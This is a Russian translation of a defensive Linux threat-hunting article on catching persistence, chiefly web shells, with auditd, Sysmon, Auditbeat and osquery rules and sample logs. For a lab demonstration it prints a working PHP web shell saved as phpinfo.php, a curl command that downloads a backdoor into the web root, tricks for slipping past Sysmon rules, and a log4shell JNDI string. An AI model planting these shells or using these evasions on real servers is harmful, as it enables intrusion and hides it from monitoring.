
Данная публикация - перевод серии статей от Pepe Berba - Hunting for Persistence in Linux.
! Все приведённые в данном материале примеры эксплоитов предназначены исключительно для изучения и проработки мер безопасности. Их использование в злонамеренных целях строго запрещено и противоречит законодательству. Автор и источник не несут ответственности за неправомерные действия, совершённые с использованием данной информации. ! |
Введение в закрепление
Закрепление включает в себя методы, которые злоумышленники используют для сохранения доступа к системам после перезагрузок, смены учетных данных и других событий, способных прервать их доступ. Атакующие применяют техники закрепления, чтобы не пришлось повторять этапы эксплуатации. Помните, что эксплуатация — это лишь первый шаг для злоумышленника, им еще предстоит предпринять дополнительные действия для достижения своей основной цели.

После успешного получения доступа к машине злоумышленникам нужно перемещаться по сети и найти способ получить доступ к самым ценным данным и вывести их.

Во время этих действий после эксплуатации соединение злоумышленника с машиной может быть прервано, и для восстановления доступа ему возможно придется повторить этап эксплуатации. Повторное проведение эксплуатации может быть затруднено в зависимости от вектора атаки:
Отправка электронной почты с вредоносным вложением: жертва вряд ли откроет одно и то же вредоносное письмо дважды. Придется отправлять новое письмо и надеяться, что жертва снова попадется.
Использование утекших учетных данных и ключей: пароли могут быть сброшены, а ключи — отозваны.
Эксплуатация серверов с критическими уязвимостями (CVE): сервер может быть обновлен и защищён патчами.

Из-за сложности повторной эксплуатации злоумышленник стремится максимально использовать первоначальный доступ. Для этого они устанавливают бэкдор — способ доступа, который надежно сохраняет доступ к скомпрометированной машине даже после перезагрузок.

С установленным закреплением злоумышленнику больше не нужно полагаться на эксплуатацию для восстановления доступа к системе. Он может просто использовать добавленную учетную запись на машине или ждать обратного шелла от установленного сервиса.
0 Логирование и аудит в Linux
0.1 Мониторинг целостности файлов
Для настройки закрепления злоумышленнику обычно приходится вносить изменения на диск машины, например создавать или изменять файлы. Это даёт нам возможность обнаружить злоумышленников, если мы будем отслеживать создание или изменение файлов, связанных с важными файлами и директориями. Например, при попытке обнаружить установку служб стоит обратить внимание на новые файлы служб в каталоге /etc/systemd/system
и других связанных директориях.
Для этого можно использовать следующие инструменты:
Мониторинг целостности файлов с помощью Auditbeat: https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-file_integrity.html
auditd
Мониторинг целостности файлов с помощью Wazuh: https://documentation.wazuh.com/current/learning-wazuh/detect-fs-changes.html

В рамках этой серии постов мы будем использовать в основном auditd и Auditbeat совместно.
0.2 Auditd и Sysmon
0.2.1 Что такое Sysmon и Auditd?
Два мощных инструмента для мониторинга процессов в операционной системе:
auditd — де-факто стандартный инструмент аудита и логирования в Linux.
sysmon — ранее инструмент, существовавший исключительно для Windows, но недавно был выпущен для Linux.
Оба инструмента требуют настройки правил, чтобы генерировать осмысленные журналы и оповещения. Мы будем использовать следующие репозитории для настройки правил:
Установка Sysmon для Linux (на примере Debian 10)
Для установки Sysmon на Debian 10 я следовал официальной инструкции из Sysinternals/SysmonForLinux:
get -qO- https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.asc.gpg
sudo mv microsoft.asc.gpg /etc/apt/trusted.gpg.d/
wget -q https://packages.microsoft.com/config/debian/10/prod.list
sudo mv prod.list /etc/apt/sources.list.d/microsoft-prod.list
sudo chown root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg
sudo chown root:root /etc/apt/sources.list.d/microsoft-prod.list
sudo apt-get update
sudo apt-get install apt-transport-https
sudo apt-get update
sudo apt-get install sysmonforlinux
Для настройки правил я использовал конфигурации из репозитория microsoft/MSTIC-Sysmon
:
git clone https://github.com/microsoft/MSTIC-Sysmon.git
cd MSTIC-Sysmon/linux/configs
sudo sysmon -accepteula -i main.xml
# if you are experimenting and want to see all sysmon logs use
# sudo sysmon -accepteula -i main.xml
После этого журналы Sysmon должны появиться в файле: /var/log/syslog
Если вы хотите изменить правила в main.xml
, просто отредактируйте файл и затем перезагрузите конфигурацию:
sudo sysmon -c main.xml
sudo systemctl restart sysmon
0.2.2 Сравнение Sysmon и Auditd
На момент написания этого поста Sysmon для Linux был выпущен всего около месяца назад. У меня пока нет опыта его развёртывания в масштабах продакшн-среды. Поддержка Sysmon для Linux всё ещё находится в стадии разработки для таких агентов, как Linux Elastic Agent.
Примечание: Автор использовал версию: sysmonforlinux/buster, now 1.0.0. На момент публикации - актуальная версия Sysmon для Linux — 1.3.3, которая была выпущена в июне 2024 года.
Определения правил в Sysmon гораздо гибче, чем в auditd.
Как и в случае с другими правилами, основанными на построчном сопоставлении, правила, зависящие от пользовательских полей ввода, таких как
CommandLine
, могут быть обойдены.Я столкнулся с проблемами, связанными с обрезанными заголовками правил в логах.
Auditd позволяет фильтровать события на уровне системных вызовов (
syscall
), тогда как Sysmon работает с предопределёнными событиями более высокого уровня, такими какProcessCreation
илиFileCreate
. Это означает, что если интересующая вас активность не сопоставлена с каким-либо событием Sysmon, вам будет сложно отследить её через этот инструмент.
В целом, я с оптимизмом смотрю на перспективу использования Sysmon для Linux в будущем — особенно для мониторинга интересных процессов и сетевых подключений. Однако для мониторинга целостности файлов я по-прежнему полагаюсь на другие инструменты, такие как auditd или Auditbeat.
В Windows наличие только события FileCreate
вполне приемлемо, поскольку есть и другие события, связанные с изменениями конфигурации, такие как RegistryEvent
для отслеживания ключей реестра. А вот в Linux, где практически все конфигурации представлены в виде обычных файлов, мониторинг целостности играет намного более важную роль при поиске изменений системных настроек.
Плюс Sysmon в том, что правила для сетевой активности и создания процессов выражаются намного гибче и нагляднее. Это гораздо интуитивнее, чем попытки использовать в auditd параметры типа a0
, a1
и т.д. для сопоставления аргументов командной строки.
Вот несколько примеров обхода правил:
T1087.001_LocalAccount_Commands.xml ищет команды, содержащие
/etc/passwd
, чтобы выявить попытки перечисления аккаунтов. Эту проверку можно обойти, выполнив, например:cat /etc//passwd
(двойной слэш не меняет путь, но позволяет обойти простую построчную проверку).T1070.006_Timestomp_Touch.xml отслеживает использование опций
-r
или--reference
в командеtouch
, чтобы выявить попытки подделки временных меток. Обход возможен следующими способами:touch a -\r b
илиtouch a --re\ference=b
.T1053.003_Cron_Activity.xml предназначено для мониторинга изменений в crontab. Однако, если использовать команду:
echo "* * * * * root touch /root/test" >> /etc/crontab
о правило не сработает, так как файл не создаётся заново и не перезаписывается — происходит просто добавление строки. Кроме того, в Debian 10 стандартное использованиеcrontab -e
также не триггерит это правило, посколькуTargetFilename
в нём задан как+/var/spool/cron/crontabs
, а знак плюс в начале вызывает сбой при сопоставлении правила.
Вы можете ознакомиться с архитектурой auditd и Sysmon по следующим источникам:
Из диаграммы на linuxsecurity.com видно, что Sysmon работает поверх eBPF — интерфейса для перехвата системных вызовов (syscalls) ядра Linux. Это даёт удобный уровень абстракции при создании правил Sysmon, позволяя сосредоточиться на логике поведения, а не на низкоуровневых деталях.
Однако такая архитектура имеет и обратную сторону: гибкость eBPF даёт злоумышленникам больше возможностей для обхода правил, поскольку Sysmon обрабатывает события на более высоком уровне, чем, например, auditd, который работает ближе к "железу" и системным вызовам. В результате некоторые действия атакующего могут просто не попасть под определённые правила Sysmon, особенно если они не предусмотрены как отдельные события (например, модификация файла без его перезаписи).

Например, в Sysmon мы можем отслеживать событие FileCreate с определённым TargetFilename
. Это даёт большую гибкость, поскольку можно задавать правила на основе шаблонов или ключевых слов, включая файлы, которые ещё не существуют. Однако, такой подход основан на построчном сопоставлении, и, например, проверка на /etc/passwd
может не сработать, если путь отличается хотя бы символом.
С другой стороны, auditd отслеживает действия на уровне inode файлов и директорий. Это исключает любую неоднозначность в том, какие именно файлы нужно контролировать. Можно даже отслеживать доступ на чтение к конкретным файлам. Но поскольку мониторинг идёт по inode, файлы должны существовать в момент запуска службы auditd. Это означает, что нельзя отслеживать файлы по шаблонам вроде */.ssh/authorized_keys
, если таких файлов ещё нет.
0.3 osquery
Osquery позволяет исследовать наши конечные точки с помощью SQL-запросов, что значительно упрощает сбор информации и расследование инцидентов.
Более того, в связке с управляющим интерфейсом, таким как fleetdm, вы можете создавать базовые показатели (baselines) вашей среды и даже искать злоумышленников.
Пример из будущего поста в блоге — поиск аккаунтов с установленным паролем. Если вы ожидаете, что инженеры всегда подключаются по SSH с использованием публичного ключа, то активных паролей быть не должно.
Получить эту информацию можно с помощью следующего запроса:
SELECT password_status, username, last_change
FROM shadow
WHERE password_status = 'active';
И получить результаты по всему вашему пулу устройств, примерно такие:
+-----------------+----------+-------------+
| password_status | username | last_change |
+-----------------+----------+-------------+
| active | www-data | 18953 |
+-----------------+----------+-------------+
А вот почему у пользователя www-data есть пароль? Хм... Инструкции по установке можно найти в официальной документации. После установки просто запустите osqueryi и выполните нужные SQL-запросы.
Компонент сервера: веб-шелл
1.1 Введение в веб-шеллы
MITRE: https://attack.mitre.org/techniques/T1505/003/
Веб-шелл — это бэкдор, установленный злоумышленником на веб-сервере. После установки он становится первоначальной точкой доступа для атакующего, и если его вовремя не обнаружить, то он превращается в удобный и постоянный бэкдор.
В нашем примере для установки веб-шелла мы добавляем вредоносный .php
файл в директорию /var/www/html
. Такое может произойти по нескольким причинам:
веб-приложение имеет уязвимый API для загрузки файлов;
в веб-приложении есть критическая уязвимость удалённого выполнения кода (RCE);
злоумышленник уже имеет доступ и может изменять содержимое корневой папки веб-сервера.
Если атакующий может загрузить вредоносные файлы, которые запускаются как PHP, он получает удалённый доступ к машине.
Яркий пример — утечка данных Equifax в 2017 году. Можно почитать официальный отчёт, а вот краткое резюме:
Веб-сервер работал на Apache Struts с критической уязвимостью RCE. Атакующие использовали её, чтобы загрузить веб-шеллы, с помощью которых получили доступ к конфиденциальным данным и вынесли их. В ходе атаки было использовано около 30 различных веб-шеллов.
См. следующие ресурсы:
1.2 Установка собственных веб-шеллов
Предположим, что у нас уже есть возможность удалённого выполнения кода (RCE). Тогда мы добавляем файл phpinfo.php
, который будет содержать наш веб-шелл.
vi /var/www/html/phpinfo.php
Выберите любой из примеров PHP веб-шеллов. Например:
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
Теперь любой, кто получит доступ к адресу http://x.x.x.x/phpinfo.php, сможет использовать веб-шелл и выполнять произвольные команды.

Что если у вас нет доступа к шеллу? Возможно, вы сможете установить веб-шелл через неограниченную загрузку файлов. Загрузите ваш PHP-бэкдор под именем image.png.php
, и бэкдор может стать доступен по адресу http://x.x.x.x/uploads/image.png.php.
Другой возможной командой, которую вы можете использовать, является:
curl https://raw.githubusercontent.com/JohnTroony/php-webshells/master/Collection/PHP_Shell.php -o /var/www/html/backdoor_shell.php
1.3 Обнаружение: создание или изменение PHP-файлов
Использование мониторинга целостности файлов в Auditbeat
Для некоторых веб-приложений мы можем отслеживать каталоги веб-приложения с помощью мониторинга целостности файлов в Auditbeat.
- module: file_integrity
paths:
- /bin
- /usr/bin
- /sbin
- /usr/sbin
- /etc
- /var/www/html # <--- Add
- module: system
datasets:
- package # Installed, updated, and removed packages
При использовании модуля мониторинга целостности файлов в auditbeat мы видим, что нужно фильтровать по event.module: file_integrity
.

Наша команда vi «переместила» файл. В данном случае «переместить» означает то же, что и «обновить», из-за особенностей работы vi. Редактор создаёт временный файл /var/www/html/phpinfo.php.swp
, а при сохранении заменяет им оригинальный файл /var/www/html/phpinfo.php
.

Пример команды, которая приведёт к созданию записи в журнале:
curl https://raw.githubusercontent.com/JohnTroony/php-webshells/master/Collection/PHP_Shell.php -o /var/www/html/backdoor_shell.php

Использование audit для отслеживания изменений
Мы можем добавить следующее правило в auditd:
-w /var/www/html -p wa -k www_changes
И вы можете искать все записи об изменениях файлов в /var/www/html
, используя фильтр по тегам: www_changes
или key="www_changes"
.
Исходные логи auditd выглядят так:
type=SYSCALL msg=audit(1637597150.454:10650): arch=c000003e syscall=257
success=yes exit=4 a0=ffffff9c a1=556e6969fbc0 a2=241 a3=1b6 items=2 ppid=12962
pid=13086 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0
tty=pts0 ses=11 comm="curl" exe="/usr/bin/curl" subj==unconfined
key="www_changes", type=PATH msg=audit(1637597150.454:10650): item=0
name="/var/www/html" inode=526638 dev=08:01 mode=040755 ouid=0 ogid=0
rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000
cap_fe=0 cap_fver=0, type=PATH msg=audit(1637597150.454:10650): item=1
name="backdoor_shell.php" inode=527243 dev=08:01 mode=0100644 ouid=0 ogid=0
rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000
cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637597150.454:10650):
proctitle=6375726C0068747470733A2F2F7261772E67697468756275736572636F6E74656E742E636F6D2F4A6F686E54726F6F6E792F7068702D7765627368656C6C732F6D61737465722F436F6C6C656374696F6E2F5048505F5368656C6C2E706870002D6F006261636B646F6F725F7368656C6C2E706870
Это позволяет нам отметить следующее:
euid=0
— эффективный UID (пользовательский идентификатор), от имени которого выполнено действиеexe="/usr/bin/curl"
— команда, которая была запущенаname="/var/www/html" ... name="backdoor_shell.php"
— файл назначения, в данном случае создаваемый или изменяемый файлkey="www_changes"
— ключ, по которому сработало правило аудита (auditd alert)proctitle=63757...
— заголовок процесса в шестнадцатеричном виде, который представляет собой исходную команду curl
Заметки по мониторингу целостности файлов для обнаружения веб-шеллов
Есть и другие способы проверки. Например, если используется система контроля версий (например, git), можно сравнивать текущее состояние с известным «чистым» состоянием и исследовать различия.
Однако, если существуют папки, в которых ожидается частое создание и изменение файлов — например, каталоги для загрузки — мониторинг целостности файлов может быть не полностью эффективен. В таких случаях нужно будет тонко настраивать оповещения и пытаться исключать эти каталоги загрузок, чтобы уменьшить количество ложных срабатываний. Но как тогда обнаружить веб-шеллы, загруженные именно в этих каталогах?
Нам нужно искать более эффективные методы обнаружения веб-шеллов.
1.4 Обнаружение: отслеживание выполнения команд пользователем www-data с помощью auditd
Когда мы запускаем веб-серверы, такие как nginx, сервис работает под пользователем www-data
. В нормальных условиях мы не ожидаем, что этот пользователь будет запускать команды вроде whoami
или ls
.
Однако при наличии веб-шелла именно такие команды мы с большой вероятностью увидим. Поэтому стоит использовать auditd
для их обнаружения.
Вот правило auditd, которое будет отслеживать системные вызовы execve
от пользователя www-data
(euid=33) и помечать их тегом detect_execve_www
:
-a always,exit -F arch=b64 -F euid=33 -S execve -k detect_execve_www
-a always,exit -F arch=b32 -F euid=33 -S execve -k detect_execve_www
Мы выполняем следующие команды через наш веб-шелл:
whoami
id
pwd
ls -alh
Мы получаем следующие логи от auditd, обработанные auditbeats.

Вот пример необработанного лога auditd для команды whoami
:
type=SYSCALL msg=audit(1637597946.536:10913): arch=c000003e syscall=59
success=yes exit=0 a0=7fb62eb89519 a1=7ffd0906fa70 a2=555f6f1d7f50 a3=1 items=2
ppid=7182 pid=13281 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33
egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="sh"
exe="/usr/bin/dash" subj==unconfined key="detect_execve_www", type=EXECVE
msg=audit(1637597946.536:10913): argc=3 a0="sh" a1="-c" a2="whoami", type=PATH
msg=audit(1637597946.536:10913): item=0 name="/bin/sh" inode=709 dev=08:01
mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000
cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH
msg=audit(1637597946.536:10913): item=1 name="/lib64/ld-linux-x86-64.so.2"
inode=1449 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL
cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0,
type=PROCTITLE msg=audit(1637597946.536:10913):
proctitle=7368002D630077686F616D69Appendix
Это позволяет нам отметить следующее:
euid=33, uid=33
— идентификаторы пользователя www-datacomm="sh"
иexe="/usr/bin/dash"
— используемый шеллargc=3
,a0="sh"
,a1="-c"
,a2="whoami"
— аргументы, переданные шеллу, то есть выполненная командаkey="detect_execve_www"
— ключ оповещения auditd, по которому сработало правило
Примечание по поводу detect_execve_www
Допустим, вы решаете использовать правила по умолчанию, найденные в https://github.com/Neo23x0/auditd/blob/master/audit.rules
Если вы попытаетесь использовать готовые правила обнаружения, например, те, что идут вместе с Sigma, то, возможно, выберете правило lnx_auditd_web_rce.yml. Однако при использовании этого правила из набора Neo23x0 вы не сможете обнаружить веб-шеллы.
Это происходит потому, что правило обнаружения:
detection:
selection:
type: 'SYSCALL'
syscall: 'execve'
key: 'detect_execve_www'
condition: selection
Обратите внимание, что в правиле фильтруется ключ detect_execve_www
, однако такой ключ нигде не определён в файле audit.rules
от Neo23x0! Именно поэтому всегда важно тестировать свои настройки и проверять, обнаруживают ли они известные угрозы.
В правилах Neo23x0 ближайшее к этому — это правила, которые по умолчанию закомментированы:
## Suspicious shells
#-w /bin/ash -p x -k susp_shell
#-w /bin/bash -p x -k susp_shell
#-w /bin/csh -p x -k susp_shell
#-w /bin/dash -p x -k susp_shell
#-w /bin/busybox -p x -k susp_shell
#-w /bin/ksh -p x -k susp_shell
#-w /bin/fish -p x -k susp_shell
#-w /bin/tcsh -p x -k susp_shell
#-w /bin/tclsh -p x -k susp_shell
#-w /bin/zsh -p x -k susp_shell
В нашем случае веб-шелл использовал /bin/dash
, так как это оболочка по умолчанию, на которую указывает /bin/sh
в тестируемой виртуальной машине. Следовательно, актуальное правило будет выглядеть так:
-w /bin/dash -p x -k susp_shell
Но это правило опирается на использование именно /bin/dash
. Если веб-шелл сможет использовать другую оболочку, то такое конкретное оповещение не сработает. Поэтому обязательно тестируйте ваши auditd-правила на конкретных сценариях, чтобы убедиться, что они действительно работают так, как вы ожидаете.
Больше информации о том, как писать правила для auditd, можно найти здесь:
1.5 Обнаружение: Поиск выполнения команд от имени www-data с помощью Sysmon
В MSTIC-Sysmon существуют два правила, относящихся к обнаружению веб-шеллов, а именно:
T1505.003 — Server Software Component: Web Shell
T1059.004 — Command and Scripting Interpreter: Unix Shell
Где мы это видим:
Создание процесса с использованием
/bin/bash
,/bin/dash
или/bin/sh
.Создание процесса, у которого родительским процессом является
dash
,nginx
или другой похожий процесс, и выполняемая команда — одна из:whoami
,ifconfig
,/usr/bin/ip
и т.д.
Если мы запустим whoami
в нашей тестовой среде, то первым сработает правило
T1059.004, TechniqueName=Command and Scripting Interpreter: Unix Shell,
так как оно стоит выше в порядке обработки правил.
<Event>
<System>
<Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
<EventID>1</EventID>
<Version>5</Version>
<Channel>Linux-Sysmon/Operational</Channel>
<Computer>sysmon-test</Computer>
<Security UserId="0"/>
</System>
<EventData>
<Data Name="RuleName">TechniqueID=T1059.004,TechniqueName=Command and Scriptin</Data>
<Data Name="UtcTime">2021-11-23 14:06:07.116</Data>
<Data Name="ProcessGuid">{717481a5-f54f-619c-2d4e-bd5574550000}</Data>
<Data Name="ProcessId">11662</Data>
<Data Name="Image">/usr/bin/dash</Data>
<Data Name="FileVersion">-</Data>
<Data Name="Description">-</Data>
<Data Name="Product">-</Data>
<Data Name="Company">-</Data>
<Data Name="OriginalFileName">-</Data>
<Data Name="CommandLine">sh -c whoami</Data>
<Data Name="CurrentDirectory">/var/www/html</Data>
<Data Name="User">www-data</Data>
<Data Name="LogonGuid">{717481a5-0000-0000-2100-000000000000}</Data>
<Data Name="LogonId">33</Data>
<Data Name="TerminalSessionId">4294967295</Data>
<Data Name="IntegrityLevel">no level</Data>
<Data Name="Hashes">-</Data>
<Data Name="ParentProcessGuid">{00000000-0000-0000-0000-000000000000}</Data>
<Data Name="ParentProcessId">10242</Data>
<Data Name="ParentImage">-</Data>
<Data Name="ParentCommandLine">-</Data>
<Data Name="ParentUser">-</Data>
</EventData>
</Event>
Здесь мы видим выполнение /bin/dash
, поэтому и сработало правило. Затем срабатывает правило T1505.003, TechniqueName=Server Software Component: Web Shell, поскольку была выполнена команда whoami
.
<Event>
<System>
<Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
<EventID>1</EventID>
</System>
<EventData>
<Data Name="RuleName">TechniqueID=T1505.003,TechniqueName=Serv</Data>
<Data Name="UtcTime">2021-11-23 14:06:07.118</Data>
<Data Name="ProcessGuid">{717481a5-f54f-619c-c944-fd0292550000}</Data>
<Data Name="ProcessId">11663</Data>
<Data Name="Image">/usr/bin/whoami</Data>
<Data Name="CommandLine">whoami</Data>
<Data Name="CurrentDirectory">/var/www/html</Data>
<Data Name="User">www-data</Data>
<Data Name="LogonGuid">{717481a5-0000-0000-2100-000000000000}</Data>
<Data Name="LogonId">33</Data>
<Data Name="ParentProcessId">11662</Data>
<Data Name="ParentImage">/usr/bin/dash</Data>
<Data Name="ParentCommandLine">sh</Data>
<Data Name="ParentUser">www-data</Data>
</EventData>
</Event>
Теперь, обладая этой информацией, мы можем обойти правило T1505.003 Sysmon, выполнив: system("/bin/bash whoami")
в этом случае родительским процессом команды whoami
будет не /bin/dash
, а /bin/bash
, и правило T1505.003 не сработает, потому что оно ожидает dash
или nginx
в качестве родителя. Вместо этого сработают два правила T1059.004, так как будет зафиксировано создание новой оболочки.
Вот пример, как можно воспроизвести правило detect_execve_www
в Sysmon:
<RuleGroup name="" groupRelation="or">
<ProcessCreate onmatch="include">
<Rule name="detect_shell_www" groupRelation="and">
<User condition="is">www-data</User>
<Image condition="contains any">/bin/bash;/bin/dash;/bin/sh;whoami</Image>
</Rule>
</ProcessCreate>
</RuleGroup>
И если мы хотим делать базовый мониторинг целостности файлов с помощью sysmon, мы можем использовать
<FileCreate onmatch="include">
<Rule name="change_www" groupRelation="or">
<TargetFilename condition="begin with">/var/www/html</TargetFilename>
</Rule>
</FileCreate>
Для получения дополнительной информации о создании собственных правил sysmon вы можете посмотреть:
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#configuration-files
https://techcommunity.microsoft.com/t5/sysinternals-blog/sysmon-the-rules-about-rules/ba-p/733649
https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml
1.6 Обнаружение: Поиск инициированных соединений от www-data
Если от вашего веб-сервера не ожидается создание исходящих соединений, то мы можем отслеживать исходящие соединения, создаваемые пользователем www-data.
Некоторые причины, по которым злоумышленник может это делать:
Загрузка дополнительных скриптов и инструментов
Установка обратного шелла
Горизонтальное перемещение, получая доступ к другим машинам через веб-шелл
1.6.1 auditd
Мы можем использовать auditd для отслеживания IP-соединений, созданных пользователем www-data (замените euid на других пользователей).
-a always,exit -F arch=b32 -S socket -F a0=10 -F euid=33 -k www_data_connect
-a always,exit -F arch=b64 -S socket -F a0=10 -F euid=33 -k www_data_connect
-a always,exit -F arch=b32 -S socket -F a0=2 -F euid=33 -k www_data_connect
-a always,exit -F arch=b64 -S socket -F a0=2 -F euid=33 -k www_data_connect
Например, если мы используем наш веб-шелл для curl https://www.google.com, мы получаем следующий лог auditd.
SYSCALL arch=c000003e syscall=41 success=yes exit=3 a0=a a1=80002 a2=0
a3=7f33e33ad394 items=0 ppid=24271 pid=24272 auid=4294967295 uid=33 gid=33 euid=33
suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="curl"
exe="/usr/bin/curl" subj==unconfined key="www_data_connect"
PROCTITLE proctitle=6375726C0068747470733A2F2F7777772E676F6F676C652E636F6D
Как вы можете видеть, в логе отсутствуют метаданные IP, такие как порт назначения и IP-адрес назначения. Это затрудняет исключение некоторых известных (легитимных) соединений, которые веб-сервер может устанавливать, например, соединений с базой данных.
1.6.2 sysmon
В sysmon мы можем использовать следующее правило
<NetworkConnect onmatch="include">
<Rule name="www_data_connect" groupRelation="or">
<User condition="end with">www-data</User>
</Rule>
</NetworkConnect>
И мы получаем следующий вывод (некоторые поля удалены для краткости):
<Event>
<System>
<Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
<EventID>3</EventID>
</System>
<EventData>
<Data Name="RuleName">www_data_connect</Data>
<Data Name="Image">/usr/bin/curl</Data>
<Data Name="User">www-data</Data>
<Data Name="Protocol">tcp</Data>
<Data Name="Initiated">true</Data>
<Data Name="SourceIsIpv6">false</Data>
<Data Name="SourceIp">10.2.0.29</Data>
<Data Name="SourceHostname">-</Data>
<Data Name="SourcePort">57774</Data>
<Data Name="SourcePortName">-</Data>
<Data Name="DestinationIsIpv6">false</Data>
<Data Name="DestinationIp">64.233.191.105</Data>
<Data Name="DestinationHostname">-</Data>
<Data Name="DestinationPort">443</Data>
<Data Name="DestinationPortName">-</Data>
</EventData>
</Event>
Обратите внимание, что вывод sysmon содержит полезные поля, такие как DestinationIp, которые могут позволить нам более точно настроить правила для исключения соединений.
1.6.3 Пример: log4shell
Хотя строго говоря, это не веб-шелл и не закрепление. Это хороший пример, где проявляется гибкость sysmon.
Запустите уязвимое приложение через Docker, используя образ christophetd/log4shell-vulnerable-app
. Для этого также потребуется эксплуатация (POC описан в репозитории).
См. Critical RCE Vulnerability: log4j - CVE-2021-44228 для полной информации. Кратко, уязвимость вызвана вредоносной строкой, такой как ${jndi:ldap://bad.com/exploit}
Это заставляет приложение загрузить удалённый Java-объект и выполнить его. Это пример ситуации, когда исходящие соединения от Java-приложений могут быть признаком эксплуатации уязвимости. Мы можем использовать auditd и sysmon для отслеживания сетевых соединений, инициированных приложением, запущенным в Docker.
1.6.3.1 auditd
Из-за того, как работает Docker, контейнер и приложение запускаются от имени root. Поэтому, если мы ищем новые соединения, создаваемые приложением, нам нужно отслеживать соединения, создаваемые пользователем root
-a always,exit -F arch=b32 -S socket -F euid=0 -F a0=2 -k root_connection
-a always,exit -F arch=b32 -S socket -F euid=0 -F a0=10 -k root_connection
-a always,exit -F arch=b64 -S socket -F euid=0 -F a0=2 -k root_connection
-a always,exit -F arch=b64 -S socket -F euid=0 -F a0=10 -k root_connection
Это приведёт к следующим логам
SYSCALL arch=c000003e syscall=41 success=yes exit=23 a0=2 a1=1 a2=0 a3=0
items=0 ppid=26165 pid=26183 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0
egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="java"
exe="/usr/lib/jvm/java-1.8-openjdk/jre/bin/java" subj==docker-default (enforce)
key="root_connection"
PROCTITLE proctitle=6A617661002D6A6172002F6170702F737072696E672D626F6F742D6170706C69636174696F6E2E6A6172
Хотя это правило и фиксирует эксплуатацию, оно также ловит другие обычные сетевые подключения, которые может создавать root. А что если мы хотим отфильтровать только соединения, созданные процессом «java»? Мне кажется, что сделать это с помощью фильтров auditd невозможно, хотя могу ошибаться.
1.6.3.2 sysmon
В sysmon это сделать будет намного проще.
<Rule name="log4shell" groupRelation="and">
<Protocol condition="is">tcp</Protocol>
<Image condition="end with">java</Image>
</Rule>
И это приводит к следующему логу (некоторые поля удалены для краткости)
<?xml version="1.0"?>
<Event>
<System>
<Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
<EventID>3</EventID>
</System>
<EventData>
<Data Name="Image">/usr/lib/jvm/java-1.8-openjdk/jre/bin/java</Data>
<Data Name="User">root</Data>
<Data Name="Protocol">tcp</Data>
<Data Name="Initiated">true</Data>
<Data Name="SourceIsIpv6">false</Data>
<Data Name="SourceIp">172.17.0.2</Data>
<Data Name="SourceHostname">-</Data>
<Data Name="SourcePort">40378</Data>
<Data Name="SourcePortName">-</Data>
<Data Name="DestinationIsIpv6">false</Data>
<Data Name="DestinationIp">10.2.0.29</Data>
<Data Name="DestinationHostname">-</Data>
<Data Name="DestinationPort">1389</Data>
<Data Name="DestinationPortName">-</Data>
</EventData>
</Event>
1.7 Поиск веб-шеллов с помощью osquery
Для osquery мы, возможно, не сможем «найти» сам веб-шелл, но можем обнаружить свидетельства его использования. Если злоумышленник применяет веб-шелл, он, вероятно, попытается установить обратный шелл. В этом случае должно быть исходящее соединение от веб-сервера к атакующему.
SELECT pid, remote_address, local_port, remote_port, s.state, p.name, p.cmdline, p.uid, username
FROM process_open_sockets AS s
JOIN processes AS p
USING(pid)
JOIN users
USING(uid)
WHERE
s.state = 'ESTABLISHED'
OR s.state = 'LISTEN';
Этот запрос ищет процессы с сокетами, которые имеют установленные соединения или прослушивают порт.
+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+
| pid | remote_address | local_port | remote_port | state | name | cmdline | uid | username |
+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+
| 14209 | 0.0.0.0 | 22 | 0 | LISTEN | sshd | /usr/sbin/sshd -D | 0 | root |
| 468 | 0.0.0.0 | 80 | 0 | LISTEN | nginx | nginx: worker process | 33 | www-data |
| 461 | 74.125.200.95 | 51434 | 443 | ESTABLISHED | google_guest_ag | /usr/bin/google_guest_agent | 0 | root |
| 8563 | 10.0.0.13 | 39670 | 9200 | ESTABLISHED | auditbeat | /usr/share/auditbeat/bin/auditbeat ... | 0 | root |
| 17770 | 6.7.8.9 | 22 | 20901 | ESTABLISHED | sshd | sshd: user@pts/0 | 1000 | user |
| 17776 | 1.2.3.4 | 51998 | 1337 | ESTABLISHED | bash | bash | 33 | www-data |
+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+
Обратите внимание, что мы видим открытые порты 22 и 80, что является нормальным. Также видны исходящие соединения некоторых бинарников, используемых GCP (моя виртуальная машина размещена в GCP), а также сервиса auditbeat, который отправляет логи в SIEM.
Также есть активное SSH-соединение с IP 6.7.8.9, что, возможно, нормально.
